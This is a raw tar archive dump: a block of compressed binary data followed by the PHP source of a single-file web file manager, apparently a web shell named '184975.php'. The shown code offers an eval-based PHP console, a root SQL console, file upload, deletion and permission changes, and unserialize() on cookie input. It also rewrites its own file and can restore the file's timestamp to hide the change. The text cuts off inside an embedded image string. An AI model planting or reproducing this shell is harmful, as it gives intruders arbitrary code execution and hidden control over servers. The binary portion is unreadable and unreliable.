184975.php.php.tar.gz000064400000071276152377565070010066 0ustar00KsH 8WYJ]$))l>%)%23G  (|:{Y5[qf3sXlx<Jo)UDFxxxxxxxDxxL{^(/&YlqbԘheƆ&L6c\8'?qsNǓD:7L2fY9Od㙴J~´DU/Q׿ŸPgPQTY8 a%iC1k#e0DK5WAMDƸBT }cs?lYLy=WuI@D)CC`(tt|N|WVQ& C%@; =[c|{Wnw> =5$|!*| p|.!6-5Ya_b Q3Q!̿Wy,@82L %A-&#rM "h*ߏ>YB>)1* wLX*CV1ʕ䑸PG?",K H!u4{D$'DJ k x&.0wLD$q 92WTN]D 6*Iܘ0Π P觟Q[dC t V剐; Tm7&s c'B@fmJ7mDNǦf.tC]*&|䐺 !H&HNc̭͡m,fRSW, $* "}LbISBfT~ɭnl9ۈz!MI^ $J~9D_G 𠊠(v@ dܚ*ʵQ)_ W`HR4]7K Ð5K@Qj[BVh,k2MU5!:.|V! mޡNt XX0\-8I$ŒMq rfn덇/E>9kt"IBri!-0P!?le^w!,H,l)6j3"Ɓ-qFXd QE/6E2#3eN 3*٘_@P&A;M_^@j4sGx\YxUA"\x!K%K8ao'[p6Uo{RldaBe ^Fr݈fCk,yma4VqŐ@![ CT|by  Uˀ)6 Me)(<+"47((HLaqL@I94(l90y?D@*MVh @m7dM=YƑU&:ܾS3'w̓a6偘D0s٘nFxbTlfg\:C8pI+> @AZ'!.pvf$,p*[D0tfN/)ƴ tU6u#T_Cs\[xkTG.TdOs.1F8x aAv!,u,BVd?א& J\v#l;m+ Da +  xH:X89݂=iE(!$jz"Қ C__5I|Gk9֤Ӛ*Vk'5 $)ka@5eP)UDS<2-DhjGjEdE#v#tqEia>$h1eP@p#oiZB.Z*KHx_a; )/pڛW G^7!GK@(!}O>Bd"B.ckOs,6JvGхgBzx̠?n5A̚`PFlcm!Bo,bRj\JmmkŴL,J/[sTA,ăJ?tAɳ}6q/.V8;hn qw(vS{r:C4dqRoS&+n3^ct`̎dc7-]59/>ϗ=^ s k˦IR MQ2q=kj?dYb]! 0pɤhm"hL !)f<3%L>):Im[Ѹn }IԜ@GmK>t*jc|»#]LBGt5t1 M{BC] QDtu dYwAZ 6Ldb?N H2 im*70Ewt⽈ߍ}ӝB!V{l!Ðg&^!wf6 qYh%C4HG)MBgg܄F$ Cop $f"Ihu"6b,6W#evd \%(5=>N 4"#2 ]PaDQ[9RۈUŒ r]MPHlwg|`2ͽyÉ&ZnX2c4J3MX"1ru`)C #xBLQ&<:%68#elC RO(}&U~ah:6|+jTUh48K*= |$d.- - J<S}@!KTS4pN?O83'ps6vz{.@%!J|rp}a&[]:G/9#Uq|m:=.5l_҇ PKKk bCԴ᛬9;g=뭍UŜ@H/zcEo,ޅ0Mm#Ëd bE ͧc=3=^/ۉ!]J's4qΑ&62gX8  e>h[{iV=kfWIQ}0qʢ|VҴO2Ѿl |'_ȷmA44A׉}0۠"븈9+Ok' 1V/BFNIa?pe)8sNe6wA F[6(2lMxč≋pt"gnj)fLY0ێìbhi;:[rq&&j.*}1Yb6?*eEBh<"0|&=kvwᵼ˞|DRh0*8#ô`sO9 Ձ8.x R/?酪R-IX$*pQIV4{Eп}jەZC{X)h9d>ω A ^n_7 E m72! $a7{ra3rg[mn#c+M/ŎPi50'q91m1CYL N^(:jv ՊP~;mch*-bi6:0NRpvDW (~8&@J8+#pTm˭Pmt.|h3 飛'DȞ0;xC>{Tȃ_p[E8^r\[Y("uANoRԠ עÄo)m- "@)bS [c|60]_aG'+b81xS) ogCa>QuZ.HVaF+3H"rg _Iؑ !,L"5e ۷FJ- rBxUN6G{JR,!@*a5~Wb:v?3'莎^^ÅeYʉE {ug%y}BN".|AƏwE 4_1m(j36hvU8VD@x0šP$$'Brfxi QDJ1U8h ip %teC5$RV >C/B0eXeX)M>(3XA 0DI8|1McmBwCz^hdCe&aa}4g'8!6Ƨk#JlⵋG?ݤ|7F 5[__~{܁ й+XݢqSiUbQIOe=SNy~('Ky#*lk>wXNM%G^yAeiIn^rvI[Ss{Icrz/'ݙHw|FXIvᛧ.̠w|eFup&ɧM23bDAetir-|,6HWLWJ_ICW7sZ9-Qz5nk惕;[ñ'51L' 9YՄQJSO=C2IYK ʉ[}}}Y'~4=+S3 nf]i,vy^d'3ˈRg.6FW#r> f,kDz]9$K׳uFR#Od|yzXbYup?HsTG7jfϛKo)sE܄7֞Gѓff/IK/^r |[=D6evsAm(St;,&G,=}Xky^ujG?~2[Z|bSQYVb[nٍvsU^K:S,ܔUh­p}pպ˔x<>;#.'zF&Yē׶%É<5Y 3ۇ |$ BwNH-1KPV]Q*dWPPk}997tKGx9id7\׫K ) Mom 6êG>4[-moԣ%#+{oQ-vs#[g8“@'aomy몍7=gxmS>ze%…C?sQc#?O]'1=wт*D4xl?sֵ 6#{38FD8?یₓJ?DVa KPЈ@̉')s* i @ևϸ6LQ&|5G )q)#Gʚr,}!gzJG)P]HIwWӂ?T}|Hh GqǙf`n[NJg \ؐ;78Lk:-&q$QE$ѯh,YhTןp> &$_"D1mi+Ku|@J,hNc)|B8 !]QH*x!T %MYL&rY;,xyu>nK?B5hT&aDS$Ɍk S"䡌H l\%._gwhC cò=q 8}n8Ehtџ,qoVz@>*17ʝV7ڕr띵w5yݮ?"}XnPL:_hkz7>,/A[bpZSA.$<bjXs;&ny3dsk̤N^Ch=v fЅ/J3Ft1x& I̛=DOHpA\ _~Zm'N3yu 4*V'7q2_l--{ PBYQs)#41k7ɢ\5!֎ FDdha ̦21ߐ <~[&F4(c"xDw.t:Fl(V+LtK?MJ$U#!c 1q3ي-ye\#!Y'b6' ae!l7$ؓCO*6Ddc$mzJ }Z"a 탸nHx@plRa|c(rȦA i -vs}Nd|;B" ʼҹp<|&&kz'w*n@[Pqyd9`:]-ldMmD9l|Hoأ޵>S).l-:ULԍ ''~0z`"B<ɸf](#`Z;;0]={$b Qm}ZZp%xp_{Pa;0Uq֐ѸuN B~8(AM(-m!\ptorž9j*=5*$S^I6mFNqWNE5XF4_ H;"!6Q!bv\x.8ۧ' D Cay^ ]΍ /s>p3)x"/Kȗm c?]ѽsp%ƯIOO*I> Y\;t%vB:;ݻ? vA< f;Y8:h9`ųx$:; R,zkG]':Q 3n.wFg i aD|g`jjcvՓS0$pADÁ> JkQ%# e!%pO)P.zª(VkGv+gSM)rv~!#f^Q WNa뵣`hi̾A<ѧ}'>9^ҨVu.@g(SYԃpc:nfkVH)"3k-؊' 8Kl7 n\DMr|kFb NOy'~vsNל5Q$I'(GD$K BlC$GBm(BW(W#hᵳ__gO\_ݒmww*܊=hO:,k4aDX*H&aCoSf &W/S^߼$ڽ16&Ľ\iY^#َN|v.wv2QpN]\I{5s_mфLw]˵[Zj~շyp xt[wwV͙yHwp9gBm"/ح]h0fš=p7g N7 G[\v'r&Ys-+.5l1\p%|>biBz8g9a]Khe ~"dq:J8,x5Knt<*g͏1Lk>o~f'Z^S(0D!:[);-Ae\ux4fAh"PaL?&2<_W7$I5Jgsd9i,TOQDI8; @a36 Z0 < hD}Nܽ< WdbBGg4 }̛bC6cp*E&,0P>#kc#b_|s>h~LAL$ %!u&㋁.TvYrt:"G>K>! [CE#CM5%"1<EVl5us^s/M?0_6Vf&q txx@~]Dax$R&n7[VArw _Ajw UwN #y)'RKѰAluyYő :[V$Jf+'E}6 ,E'l`ҔȒ߇}և3/uW "/89> Hx[^<`t4Dr~X .V]zj i@ sbj%"$Ϯn."B즁(1sv.E ^Mo*q!X弧,i.}S,elΦ+& MDBYپ⼶/\]łk[e{Gqx^>=|uOhV1$;xZETt# cZ 5=_Xw{a?n6t!g&^j?odR>}'㧼YVhBtb)S#?Fhp,dH#!@ .Kؐ ;Q#H =ͅF'8 k8+|a ^_أlqttPAǜy)3 m( xllY,Bf QaI'bxtY7bSm6)˞ nt*W-|<_ɜ[/): Jp*ub~ 0tyKg4{NN!$}'V]q}x q;+]WU0 ^Dt=rDt }, 8,Ny*ÓM5OozЫ%{u^N0P$lν|$![;⡳bExnYHw'Zg ArqQ.vG+l Hs#5cыY%,3/uB~[6Otf_㝱jC.uTKM:˚\_tﮍѮYXvEVEBˎo3u\e?k)Xam7n:FPţ>Rx14#qzp4AJ OX.v:Ǻ\˼~sNw=xYIhVJF;Q/ҽvk!sqwt]<4db0ƽR~lu8J}7vS5X5vy?ߩNͫ궕~.WjG7V^iU%jXd1M2tyxng.rti}fRt"^|^77^=ַo&Ṗ:J6o|_Gyw+LRI1j;hhʲn^6ⶑyYjU6t&.7cBϘO,RK ϫܢRfȈiw^/XheuH^I2ÕެfL:Jfz#O]Ⲽّ<@OfPjX|(ҍ/IV38> QXd>k닣3Iݛ]XMfd_>/.ozlap}I:٫eun#q?GU8{9:z^hie>ZnX:J&]jt[q6p86O-M'OX.hx Ruh/P'ٲ&Vg=uqɭqiҌ\2MEʹͽ&iryIo$8)Lꢄl&yL%A8|TLӇ4Ѳl>Mm u9wL=KM=t:99aC1-d#Qk!7rY鸞ZXº5Q80XH)sM> s2ɮGu+ToԽI,é2uyǹa+6nndxZ 0ОfGSnRFO_6HǎXTֽh=:5mL36xب1gdnP\O›u7.a4֩~[eN%2ۉFz֙r|%vqRLX]e+_orQx\ ˓-knvJP 0_JeѺ D/&7eBztmT?t7*Vmh<o..\ɣAy)ǫ&x6K$˙<{BIFly.S+(nջt{cO\nXpᨥmU))hJ=Ǎ$cT@({k3_]W=K4|%n.qk$kro/TKɋu(ixUgQjRݢ]uqXl&Ն&r>K2E~(纖)tF+sxTa<^)^.ܻ-凪nJ㾷mv+^̝h%fWYO5SW/i)ݯq{N==7JQxNaȏ|] Mq&k۬ɦj%\<+\׫i_/¬13T׍cu|viKY]dFb.{b+47znhYW\JR1*A̓*ٽ[݉ZLۋYrvCUm/䷽B~ m/䷽B~ m/䷽B~ m/䷽^Hgy(1BnJBRX綠\hp\$:_ŵiQnRȸW՛˴z-usX_ʤ%(=RO#FVlJbl8A+2"w4Ckȣ@U8d}F xۗ:UɕksW~=^eT3bQN̑eמk l,@KlbTb iFV:_tlft\ ,%UlYyTR\kаIo\pb*ļ{)=5b_2Njz7 Vyw_46kr\7r[Ӈ}BGa=w9_ҥC8'k{k3*FٖSwg ~9+,xy~WS7/*ϧY̬4cd3uf}=e&ire|i"J%N +Lj4[5A^x0zgate(҈__zi>嵗 j*rx3Tf})]b^,w11^ ˭나VJJI瞕X)u/f*Fu4qm_2p:_% xNتGxe U-jx;Ulu~\JV6BqۅZ WjユUU\UOڽrsk|䵙7e<ήzfnn˙cV,[ثFOEgr̪saӍvy]D+TMδ 3qUJqo~AMhիL㹴DWJZ덞dT.3 bqp}|Yo[Y{_$Ezߪ)bUJ~?Ry_hjzykT6UGn͇mE^'W]Uf9nU{ӰD & A'@{6v6}!6d ;HE@Z|@;'5!I-cּkPE|t H.Qi9"l'W8GO^Cy_|2wZ$f>"s{Є%;( #AaW)-j'HgZ6Y]dSdT/YT(hָbh4H;QF. +҈v|LG>:ƷUCT\lʹ2dwcnl ֎+ƻCbаG>Pݸ2Q0ܯ-l$}׹\eV&L+uh3fҵ!~la~8;L`t F/*+_аIp:Hk,sPgnG$0$V͗~ />$"aDT&"@ ;(A]<$n&z4O`dr@qaq>{H&'4ݢ(|a$*I;poyԐc*_tB;NSb#A8BKtm?@_!ۋES6 Wv] HuzIX}^i&hy7S ggϲ <D&8Jevdz;B_U6>w{'cBTdٞi"S?d[МD{a(`ђNOV q !{c+n]Sti5^'v,>x3s  8ȉ~lе߱1i!кטq%YF߉e Dz9>=JKxDFv(`g \Fzy?!*T/*{z _^!^xq ml@! ( (LCZʆHkWsd؃`w{-meMuO_O&^!<UBymRNW^o)t)6Փ YS _6dl]Dv~: 6p$ѣ ` d3[ӓ3_Oi$gϓl:n^᷸1 @n¾^Uߣ_3M F'ԏ 0ߣIA_ ngqbxC/Roz K^M3k&gnDĽKlKn{0clLdPwOV |1,ڟ."-uF+NHxOF} HeBil"[`L{\|ogٿiAֳYٔY_[>?0(E90`DCQpġď%Gemp>@`!ɦhĥ`@4EÂl5=~]{`ڨ(p>9OGˁ*U }VbiWe!C6kIEsyFp,a$Wl;/aGY J'ˣI5}V6#.y*PG4@@Ϗ?VAσ@gn H|sqc$&}y_/: JDA] 2K4H%-+"gSv"\41w Xy;,(P᭲ `<9G03b9Fٻ[mM:oR3=Mp9|Kͣ_d 7kx;+H"Aΰń7F)+0к5)(ɇG#nh^W:Ól +%I;ms cZh@doWd 9\@mǩa1BF[T2x,9Jb{U;& _$KߓwXB=Gрe* &WZ{jt,H)e`g \'!Q*1y_@hS$~) Vp6X;nw<ԡYd`9J8!'eE$;Z6PfѻpGF~TQ1UDM(&h8ob@*s"pBy~Ō'KSa!mX}>t6>s~m)y-8j觏n?}#5%0DҲ er"VC ̲M)^9èt^+X!ꫨ X F |gS:w!$~|$8h?&(%LzH *mv\5 ]!&.tѐ+CJ&d==Xʞ~~ԥOVaw݇+VռˮN߰E:sສOgh'DöN%)] cq}o3Xx¹3WwtXOj$r FMN~%34y=5di^:$oK0B [ziԘ93 k(⃨}!ySb/@wwH ĥ@rV)d#+ aMGV11 ;{Α# ?FipbaSt\#\)W3|xܷdžĽ]Ֆ2#*HIy-ө/,=kb, n ]Ю/|zR.!>a "W@KC=I`+FiallQ㫡{NӷkKC|u[jH]xydqĎjo9w$$Nyo@.^[e> w§&Nsn͗q뛰COqƿ2Nsd%ҹtxso;W9v'8Mmؐv,C6t , -LC_*@ZBF O!h4'm1QJDR:so!T%y)ٚ!+RA$/R4&LBƖmoJ7I1jx8gD8Nta c{[,ǝ# 2LEBQi(~:6n]if80QZ`?aH"HW':M `/LD~1~_@W5hR&> d`8 ~ HZ-HhawuRّzd%7jjv-ͭO,юr+{l-y޾=lvʑMa{qcs)͉`/*Op͕ۅ].VE:nLZZ j]\kEQEϮ ,M )8LOuvDW8w,+;wox;h _w\nL62)w쀙o,*f@EAwcѻyW槷; -قxsQm0a5࿩N6ٕ@E9aA}Nev1y=H.ivtF״ `zi[`KRM6S#}? R~1KQQa%S)/ǎt D@ép} D|1ǟTzGz#PٗljcˆD06tiz>NTdZ'ct5o!kC G0;qOx  6TQi&wYG%{7^B;uiEUҙhdn#}X "֠^=W.c&.m~KoEJ::>qj([AODp ̵z@Ҟtw g%ar&DJ3NJXߚ.dQ^M: gX `wPE.ꩱOoL:5r ggwqk-q-ص%PX 77/~&F͠q9@rq4SaD6 *()/&S{ûiפldFQ SF*S:w. wpgC{_[{CIU`_ RrqYկ͛Vs׽PG4Ug>6Lk\7/D2es~5Q0RDD}bDh4-Ĩ7.U(lpADY"y+:dN8G@ |(!=y* sWQ? i08 & W2`n"!&(<I<4$ѿ#52.|#ɨgı !h!L3  MѐFGuvשcY(=Rļ$1s&'p&bk&zf4׌Jeeb¡oq):\Sw֝oWǰb#YXrȱ3Rĭ}SQ=G8Zm1:5ò;`,XOȟ!{s]wџ?Н874p{s ? ޞEM-L>jvsD։{j%d$l B($L2#f'Kc&-Gwdx- ?F=t@LZس9 _eaԹ%%GV8WN0s4(jpu?/'ėh Lb1:pʰ3_"}ǃSWդ=ǁ('yܰhR @V쩓KuýMO ' (x"%~ .u|~J S7]ͻC}UDZUw&kL|;:y-K Tm◗@q;B?A Y".-T-t@Ag g&2蕦7[kNl$c@Pz[1n'JT̋!AI G B$#ws8 snVtб, ź[2 %a~sMk3w1<{:Ʋ|>ךS}hCL%;ċ͐ ˾DyQ{AcrTez;Y, \bcѝe M{V%6Z[9-XP~z^o1/4xV\%NaiҶ`=xb@pnHn4J?\;k6'HKlAHe)|pH4Qq-6aZOB~v|>*aNH؞gm`8|בA/:EaՁ$Tup+.1nc\e@$MmJ&LEZb{nיsE1< ǚ_S9-ZK]gW-5A?zl$:>7Pedl}`[ݿv;xDUp`kufY?@iۡfmdITA6!Aeo꾶+݄[m脏: D|^3jx_?8`cKqt;VGP#'v2i%^_=Jrޜ2m4\am=j^{kxe#JW\~I[ o ܩ{nWNJs_4k.ێ^b|g(3=6V_{3-/7DjǛгHց583v]o&x&tА)܍86UmL?CnDZv=M/t,?r xrwhvQd91׼9lrWƄ4:Tkoom7^g.'fۻЙck{Ω e/L<8c7ðŌD:4 > %c/Eq6e| pT1WI<q  x1;&fAQЧ/c" lQ%1(h5&ı2Iz(& RK*9Ir&>h7"]}g*łZ%y eǃqg_%D82s&$3GO$lN 6v3] Z=m>Fd5O7p ]H@BT2(kCy3q~E`sbwajx {Ղӷ56t:V@ap9_"OЈ8N1đDCǐ@y 3,.wl xkvx~b1Xb 2i,vA-hHmD7熢Y` wJQE\a4AeuSW=4tҫHٱj,&EQ. %ً/E !{m6䝙csajcݔeؔ;b D@ wCoϖtv#Ogq T~L'KVKzגM7IhQ3lܣnU H;eđ#^91ag;MWhUR+ P`9FCU duP>A{qgǿro6:NĹ34ﳿ'&N'Lܯy7il(Ttmj*][pI.j?¾spU_"pG$| FVCGDҥ@4B_^/W3ߑ>-(VcAOPEfuҍ!_ުyPTu㼙U<xݍ{¿ǡaZWHvK>] Ys}K_<.pn1DzŒLoUzO]sC?1I)KTxl3Jt"~ `0  T]n-hn}U[Kv֯n|n7e( S_Sw_ADIчmROL fRL`4ʤ'in'b5bHl"fYC/6s$a[N=WMCv#fK#̉4=erSO4WC#0[H)3ɹM,>tdӋ]6<#(0W\v:7X\Ea,‚6/)?g,f}+\5W _/ӥ_$FUV5_0Er#TKBռv eU1&~rhZ3F )A@$C i3V&Թ9,)$ ismWl U#ZNѷIUaCbI b% ؒ[WmlT]ljh=|rnW7rH!CHe߂hӃ,9P4Tr@ btKa`J?jʐx }rH { >N M$D~n~Wn Ov8zߘ֠?Ȉx{ɝG푈[26*8o{NO@v > l:x8@2I 7?H< yqd5?7С07Jx귗RF, ekÔcx,"c\;!_J9ɟ׬O5Aň1W,uӏCєGh pD5)P9f8uC}3[#BXFvltiYʚ.];c0Dg~o^&q!Bnl$PZ}u6N˟T֔~wf,Tٕ/~4b?oBg $\ HjGh Z|ܨ"{jX,;Zx3PHL&dmf%")%;7hs m淟~~翕tjz184975.php000064400000271417152377565070006073 0ustar00 true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T/////////////////////////////